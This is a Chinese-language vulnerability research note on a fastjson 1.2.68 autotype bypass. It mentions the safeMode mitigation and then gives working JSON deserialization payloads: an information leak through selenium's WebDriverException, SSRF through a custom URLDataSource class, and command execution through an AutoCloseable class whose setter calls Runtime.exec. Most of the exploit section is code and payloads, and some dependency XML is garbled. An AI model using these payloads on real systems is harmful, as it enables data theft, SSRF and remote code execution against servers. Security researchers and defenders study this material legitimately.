参考:
fastjson 1.2.68 最新版本有限制 autotype bypass
1.2.68加入了一个safeMode功能,默认未开启,需要用户手动开启。以下利用在默认未开启情况下可利用。
修复方法:
ParserConfig.getGlobalInstance().setSafeMode(true);
依赖:
<dependency>
<groupId>org.seleniumhq.seleniumgroupId>
<artifactId>selenium-apiartifactId>
<version>3.141.59version>
dependency>
在这里下断点:
selenium-api\3.141.59\selenium-api-3.141.59.jar!\org\openqa\selenium\WebDriverException#getSystemInformation()
可以获取到一些敏感信息:
PoC:
{"content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}}
当然这个前提是需要WEB应用的classpath存在selenium-api
。
作者提出还有一个思路可以SSRF(当然也需要相应的classpath):
从mvn引入,或者自己写一个类:
package org.joychou;
import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;
public class DatasourceException extends Exception {
public DatasourceException() {
}
private DataSource dataSource;
public DataSource getDataSource() {
return dataSource;
}
public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
}
{"@type":"java.lang.Exception","@type":"org.joychou.DatasourceException", "dataSource": {"@type": "java.net.URL", "val": "http://127.0.0.1:8888/fastjson"}}
由于@type指定了为java.lang.Exception
,
fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\DefaultJSONParser#parseObject(Map object, Object fieldName)
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
得到的deserializer 为ThrowableDeserializer类型。
跟进:
obj = deserializer.deserialze(this, clazz, fieldName);
javax.activation.URLDataSource#getContentType
javax.activation.URLDataSource#getInputStream
调用两次HTTP请求。
写一个实验类:
package org.joychou.controller;
import java.lang.AutoCloseable;
public class TestReadable implements AutoCloseable{
private String testString;
public TestReadable(){}
public void setTestString(String cmd) throws Exception{
Runtime.getRuntime().exec(cmd);
testString = cmd;
}
@Override
public void close() throws Exception {
System.out.println("test by cqq!");
}
}
发送json请求:
{"@type": "java.lang.AutoCloseable", "@type": "org.joychou.controller.TestReadable", "testString": "calc"}
所以漏洞利用条件:
implements AutoCloseable
的类调用get方法,比如getInstance方法:
"instance":{"$ref":"$.instance"}
例如以下代码:
JSON.parse(json); // 默认不会调用getter 使用$ref就可以调用到getInstance()
// JSON.parseObject(json); // parseObject默认就会调用getter getInstance()